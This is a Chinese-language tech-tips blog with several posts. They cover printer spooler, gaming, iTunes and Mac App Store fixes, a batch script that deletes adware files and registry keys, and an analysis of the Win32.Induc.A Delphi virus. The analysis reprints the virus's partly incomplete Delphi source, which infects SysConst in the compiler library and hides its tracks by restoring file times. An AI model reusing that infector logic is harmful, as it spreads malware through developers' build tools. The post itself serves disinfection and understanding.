這種情形比較會發生在網路印表機的列印方式,當列印時印表機或列印伺服器未開啟,或有網路連線異常時,皆有可能發生此問題。雖然重新開啟印表機及列印伺服器,並且刪除列印資料重新列印,卻仍舊無法列印、資料持續留在佇列上。



這時候比較可行的作法是重新啟動「Print Spooler」, 請由【控制台/系統管理工具/服務】啟動列印電腦的Print Spooler,選擇Print Spooler後按右鍵選擇「重新啟動」。如果印表機是由伺服器的印表機享出來,還需要重新啟動此伺服器的 Print Spooler。若仍有列印佇列問題,最後的解決方式是將系統重新啟動。




Thursday, November 14, 2013

DOwnnlOad keeepEr adware remove

echo Start
 echo #
 echo ##################### Default System32 directory for x86 x64 #####################

 echo #
 echo 000 change to the default system directory & cd %WINDIR% & cd system32

 echo Kill Process & taskkill /im explorer.exe /f & echo wait

 echo Kill Process & tskill explorer & echo wait

 echo Kill Process & taskkill /im IEXPLORE.EXE /f & echo wait

 echo Kill Process & tskill IEXPLORE & echo wait

 echo wait & ping 127.0.0.1 -n 1 > %WINDIR%\pingwait.txt

 echo do not modify any label

echo 001 & del /q "%ALLUSERSPROFILE%\DOwnnlOad keeepEr\9oSn.exe"

echo 001 & del /q "%ALLUSERSPROFILE%\DOwnnlOad keeepEr\*.exe"

echo 001 & del /q "%ALLUSERSPROFILE%\DOwnnlOad keeepEr\*.*"

echo 001 & del /q "%ALLUSERSPROFILE%\WeeKaapp\*.*"

echo 001 & del /q "%ALLUSERSPROFILE%\Download keeper\QPcgy04.dll"

echo 001 & del /q "%ProgramFiles%\DOwnnlOad keeepEr\*.dll"

echo 001 & del /q "%ProgramFiles%\WeeKaapp\*.dll"

echo BHO Remove Start

echo 002 & echo HKLM.BHO Delete & reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{1FDFF596-F0BC-C232-9CD7-A0EFE3A26BE4}" /f & echo 000 BHO CLSID

echo 002 & echo HKLM.BHO Delete & reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{09DF61AC-B4A3-C517-8743-B636C23368D7}" /f & echo 000 BHO CLSID

echo 002 & echo HKLM.BHO Delete & reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{6C8CAD4E-919C-02ED-0592-9B23B773F550}" /f & echo 000 BHO CLSID

echo 002 & echo HKCU.BHO.Stats Delete & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{1FDFF596-F0BC-C232-9CD7-A0EFE3A26BE4}" /f & echo 001 BHO Ext Key

echo 002 & echo HKCU.BHO.Stats Delete & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{09DF61AC-B4A3-C517-8743-B636C23368D7}" /f & echo 001 BHO Ext Key

echo 002 & echo HKCU.BHO.Stats Delete & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{6C8CAD4E-919C-02ED-0592-9B23B773F550}" /f & echo 001 BHO Ext Key

echo 002 & echo HKCU.BHO.Stats Delete & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{1FDFF596-F0BC-C232-9CD7-A0EFE3A26BE4}" /f & echo 001 BHO Ext Key

echo 002 & echo HKCU.BHO.Stats Delete & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{09DF61AC-B4A3-C517-8743-B636C23368D7}" /f & echo 001 BHO Ext Key

echo 002 & echo HKCU.BHO.Stats Delete & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{6C8CAD4E-919C-02ED-0592-9B23B773F550}" /f & echo 001 BHO Ext Key

echo 002 & echo HKEY_CLASSES_ROOT.CLSID Delete & reg.exe delete "HKCR\CLSID\{1FDFF596-F0BC-C232-9CD7-A0EFE3A26BE4}" /f & echo 002 BHO CLSID

echo 002 & echo HKEY_CLASSES_ROOT.CLSID Delete & reg.exe delete "HKCR\CLSID\{09DF61AC-B4A3-C517-8743-B636C23368D7}" /f & echo 002 BHO CLSID

echo 002 & echo HKEY_CLASSES_ROOT.CLSID Delete & reg.exe delete "HKCR\CLSID\{6C8CAD4E-919C-02ED-0592-9B23B773F550}" /f & echo 002 BHO CLSID

echo BHO Remove End

echo 003 & reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C1A27135-69EB-8D44-7358-34727DD7B820}" /f & echo 000 Uninstall Key

echo 003 & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{C1A27135-69EB-8D44-7358-34727DD7B820}" /f & echo 001 Uninstall Key

echo 005 Folder and Subfolder All delete Start

echo 006 & rmdir /s /q "%ALLUSERSPROFILE%\Download keeper"

echo 006 & rmdir /s /q "%ALLUSERSPROFILE%\DOwnnlOad keeepEr"

echo 006 & rmdir /s /q "%ALLUSERSPROFILE%\WeeKaapp"

echo 006 & echo 123 > "%ALLUSERSPROFILE%\DOwnnlOad keeepEr"

echo do not modify any label

echo #

echo ##################### Change directory SysWOW64 for x64 OS #####################

echo #

echo Remove x86 Application's registry for x64 OS & ping 127.0.0.1 -n 1 > %WINDIR%\pingwait.txt

echo change to the syswow64 directory & cd %WINDIR% & cd syswow64

echo 007 & del /q "%ALLUSERSPROFILE%\Download keeper\QPcgy04.dll"

echo BHO Remove Start

echo 008 & echo HKLM.BHO Delete & reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{1FDFF596-F0BC-C232-9CD7-A0EFE3A26BE4}" /f & echo 000 BHO CLSID

echo 008 & echo HKCU.BHO.Stats Delete & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{1FDFF596-F0BC-C232-9CD7-A0EFE3A26BE4}" /f & echo 001 BHO Ext Key

echo 008 & echo HKCU.BHO.Stats Delete & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{1FDFF596-F0BC-C232-9CD7-A0EFE3A26BE4}" /f & echo 001 BHO Ext Key

echo 008 & echo HKEY_CLASSES_ROOT.CLSID Delete & reg.exe delete "HKCR\CLSID\{1FDFF596-F0BC-C232-9CD7-A0EFE3A26BE4}" /f & echo 002 BHO CLSID

echo BHO Remove End

echo 009 & reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C1A27135-69EB-8D44-7358-34727DD7B820}" /f & echo 000 Uninstall Key

echo 009 & reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{C1A27135-69EB-8D44-7358-34727DD7B820}" /f & echo 001 Uninstall Key

echo 011 Folder and Subfolder All delete Start

echo 012 & rmdir /s /q "%ALLUSERSPROFILE%\Download keeper"

echo 012 & rmdir /s /q "%ALLUSERSPROFILE%\DOwnnlOad keeepEr"

 echo 013 rechange dir to system32 & cd %WINDIR% & cd system32

 echo do not modify any label

 echo del pingwait.txt & del /q %WINDIR%\pingwait.txt

 echo 014 & explorer.exe & echo explorer start

 echo End

Tuesday, November 20, 2012

diablo3 錯誤代碼:BLZPTS00009 fix


diablo3 錯誤代碼:BLZPTS00009 fix:

1.依次打開
開始 > 控制面板 > 管理工具 > 服务
進去找到 Secondary Logon 服務項
右鍵打開屬性,選擇啟動方式為自動

2.C:\ProgramData\Battle.net\Agent\agent.exe
右鍵點擊屬性
裡面兼容性打上勾
選擇XP SP3

Saturday, November 17, 2012

iTune windows error 7 無法開啟之解決方案


iTune windows error 7 無法開啟之解決方案

更新 iTune 之後,若發生 windows error 7 之類的 iTune 開啟失敗訊息,
可嘗試免費軟體
Revo Uninstaller 來進行 iTune 的完整移除(iTunes, QuickTime, Apple Software Update, Bonjour, Apple Application Support, Apple Moblie Device Support)
移除成功之後,再以管理員權限重新安裝 iTune 最新版本即可。

If there is a "windows error 7" message after updating your iTune,
you may try to use Revo Uninstaller to completely uninstall it (iTunes, QuickTime, Apple Software Update, Bonjour, Apple Application Support, Apple Moblie Device Support)
and then reinstall (must "run as administrator")the latest version of iTune.

also install dot net framework4
http://www.microsoft.com/zh-tw/download/details.aspx?id=17718

Saturday, September 01, 2012

fix apple mac app store error 100

fix mac app store error 100:

(1)logout app store
(2)quit app store

(3)deleting ~Library/Caches and /Library/Caches and 

(4)logout mac
(5)login mac
(6)then restarting the Mac App Store you can also fix the problem

Saturday, March 17, 2012

PhotoImpact將圖檔背景透明化

PhotoImpact將圖檔背景透明化

1.先以PhotoImpact開啟想要去背的圖片
2.選取「檔案」→「另存新檔」
3.將「存檔類型」改為PNG格式
4.點選「選項」進入PNG影像最佳化
5.選取旁邊的「遮罩選項」
6.在「遮罩」下拉式選單點「挑選顏色」
7.選擇「色彩選擇工具」為黑色
8.點選挑選工具,滑鼠變吸管工具。
9.點選欲透明化的地方即可看到背景成灰階 方格式。
10.儲存檔案即可

Wednesday, January 25, 2012

Win32.Induc.A

Win32.Induc.A

http://www.bitdefender.com/VIRUS-1000528-en--Win32-Induc-A.html

( Virus.Win32.Induc.a; W32/Induc virus; Win32.Induc; W32.Induc.A )

Spreading:
high

Damage:
low

Size:
varies

Discovered:
2009 Aug 19

SYMPTOMS:

Presence of a file named sysconst.bak in %Delphi_Installation_Folder%\Lib\ folder.

TECHNICAL DESCRIPTION:

     This threat spreads by infecting the systems running the Delphi development environment. When the virus code is executed it will first check if Delphi (version 4 through 7) is installed on the computer by trying to open the following registry key:
KKLM\SOFTWARE\Borland\Delphi\
If found, it will get the Delphi installation folder from the same registry key.
Next it will copy
%Delphi_Installation_Folder%\Source\Rtl\Sys\SysConst.pas to %Delphi_Installation_Folder%\Lib\SysConst.pas
and add its malicious code in the implementation section of this copy. This file will be then compiled, resulting an infected sysconst.dcu (Delphi compiled unit) but not before making a copy of the once clean sysconst.dcu file under sysconst.bak. Then the copy of sysconst.pas will be deleted.
     As sysconst is included in each software compiled in Delphi, every program compiled with an infected Delphi will have the virus code embedded.
     The malware does nothing if Delphi is not installed.
     This threat has no payload besides self-replication.

Removal instructions:

Please let BitDefender disinfect your files.
Overwrite %Delphi_Installation_Folder%\Lib\sysconst.dcu with  %Delphi_Installation_Folder%\Lib\sysconst.bak

#

DelphiWin32.Induc分析報告

Virus.Win32.Induc.a 感染型的分析:

一、檔資訊

文件大小:163840位元組

加殼類型:ASPack 2.12

編寫語言:Borland Delphi 6.0

病毒類型:感染型

二、病毒描述

該樣本為Delphi感染型病毒,通過感染Delphi庫文件中的SysConst.dcu檔,使用戶在使用被感染的庫檔編程後,生成的檔均被感染。

三、病毒行為

1.病毒在第N次處理初始化表時(Call StartExe)進行操作,即完成在程式載入正常Delphi檔前執行病毒代碼。(數位N根據被感染用戶的Delphi版本不同有所不同)。

2.迴圈檢測註冊表鍵值HKLMsoftwareBorlandDelphi X.0 判斷當前機器是否安裝Delphi。檢測版本(4.0 5.0 6.0 7.0)。如本機未安裝則直接跳出病毒代碼進行正常的初始化工作,不進行感染。

3.如安裝了Delphi則通過訪問註冊表得到用戶的Delphi安裝路徑。

4.根據用戶安裝路徑將原始檔案夾中的SysConst.pas和庫文件夾中的SysConst.dcu備份;

即%%SourceRtlSysSysConst.pas 與%%LibSysConst.dcu。

5.將Delphi源碼代碼寫入原始檔案SysConst.pas中

6.調用%%Bindcc32.exe 將感染後的源碼文件SysConst.pas 生成本地庫檔放入Lib替換SysConst.dcu文件。

7.將正常SysConst.pas備份恢復,刪除源碼中感染的檔。

8.更改庫文件中被替換後的SysConst.dcu檔時間,使其與其他檔一致。

四、病毒危害程度

該病毒實際上並不具有危害性,只是其更改了庫檔後使編譯生成的所有程式均帶有不正常代碼,而其代碼行為即為以上描述。

因為其將Delphi庫檔修改使其使用Delphi語言編譯後的檔均被感染,所以被感染檔大小不一,加殼情況也各異,本分析樣本只是從中隨機挑選,樣本大小與加殼類型都不具有代表性。

五、解決方案

這個病毒具有二次感染能力,也就是說原來你編譯出來的所有Delphi程式都可以再次感染你機器上的Delphi庫檔,要徹底清除該病毒需做到以下幾點:

1、不要運行任何Delphi編寫的程式。

2、使用殺軟掃描所有的Delphi編寫的可執行檔並清除病毒。(或直接刪除所有哦的Delphi編寫的可執行檔,包括從網上下載的)

3、將文件 %DelphiInstallPath%LibSysConst.dcu 刪掉,然後執行步驟4 或 步驟5和6。

4、將文件 %DelphiInstallPath%LibSysConst.bak 改名為 SysConst.dcu,結束。

5、調用 DCC32.exe 編譯出新的 SysConst.dcu ,編譯命令如下: %DelphiInstallPath%binDCC32.exe "%DelphiInstallPath% SourceRtlSysSysConst.pas"

6、將新編譯的SysConst.dcu(在%DelphiInstallPath% SourceRtlSys目錄下)檔複製到 %DelphiInstallPath%Lib 目錄,結束。

六、附錄(Delphi源碼)

uses windows;

var sc:array[1..24] of string=(

function x(s:string):string;

var i:integer;

begin

for i:=1 to length(s) do

if s[i]=#36 then

s[i]:=#39;

result:=s;

end;

procedure re(s,d,e:string);

var f1,f2 : textfile;

h : cardinal;

f : STARTUPINFO;

p : PROCESS_INFORMATION;

b : boolean;

t1,t2,t3 : FILETIME;

begin

CreateFile( pchar( d + $bak$ ), 0, 0, 0, 3, 0, 0);

if h<>DWORD(-1) then begin

CloseHandle(h);

exit;

end;

assignfile(f1,s);

reset(f1);

if ioresult<>0 then

exit;

assignfile(f2, d + $pas$);

rewrite(f2);

if ioresult<>0 then begin

closefile(f1);

exit;

end;

while not eof(f1) do begin

readln(f1,s);

writeln(f2,s);

if pos($implementation$,s) <>0 then

break;

end;

for h:= 1 to 1 do

writeln(f2,sc[h]);

for h:= 1 to 23 do

writeln(f2, $$$$+sc[h],$$$,$ );

writeln(f2, $$$$+sc[24]+$$$);$ );

for h:= 2 to 24 do

writeln(f2, x(sc[h]));

closefile(f1);

closefile(f2);

MoveFile(pchar(d+$dcu$),pchar(d+$bak$));

fillchar(f,sizeof(f),0);

f.cb:=sizeof(f);

f.dwFlags:=STARTF_USESHOWWINDOW;

f.wShowWindow:=SW_HIDE;

b:=CreateProcess(nil, pchar(e+$"$+d+$pas"$), 0, 0, false, 0, 0, 0, f, p);

if b then

WaitForSingleObject(p.hProcess,INFINITE);

MoveFile(pchar(d+$bak$), pchar(d+$dcu$));

DeleteFile(pchar(d+$pas$));

h:=CreateFile(pchar(d+$bak$),0,0,0,3, 0,0);

if h=DWORD(-1) then

exit;

GetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);

if h=DWORD(-1) then

exit;

SetFileTime(h, @t1,@t2,@t3);

CloseHandle(h);

end;

procedure st;

var k : HKEY;

c : array [1..255] of char;

i : cardinal;

r : string;

v : char;

begin

for v:=$ to $ do

if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar($SoftwareBorlandDelphi$ + v+ $.0$ ), 0, KEY_READ, k) = 0 then begin

i:=255;

if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin

r:=$$;

i:= 1;

while c[i] <> #0 do begin

r:=r+c[i];

inc(i);

end;

re( r + $sourcertlsysSysConst$ + $.pas$, r + $libsysconst.$, $"$+r+$bindcc32.exe"$);

end;

RegCloseKey(k);

end;

end;

begin

st;

end.

 

#

http://www.gsa-online.de/products-delphi_induc_virus_remover.php

http://www.gsa-online.de/download/induc_cleaner_setup.exe

http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?name=Virus%3AWin32%2FInduc.A

#

Saturday, January 14, 2012

在 Windows 7 下安裝 Visual C++ 6的方法

在 Windows 7 下安裝 Visual C++ 6的方法

關鍵字: Visual C++ 6, vc6, win7, 安裝, 編譯

在安裝 vc6 選擇安裝項目時, 不要選擇 [TOOLS] 裡面的 [OLE/COM OBJECT VIEWER
工具]就可以順利安裝了

在開啟 vc6 前先以右鍵選擇 [以系統管理員身分執行(A)]如此就可以執行編譯的程式

參考:

Windows 7 & Vista下安装VC++,VS6.0,VC6.0最新突破http://reseth.blogbus.com/logs/38487767.html

Windows 7完美安装VC6和Delphi7
http://www.gogofly.com/blog/article/Note/68.html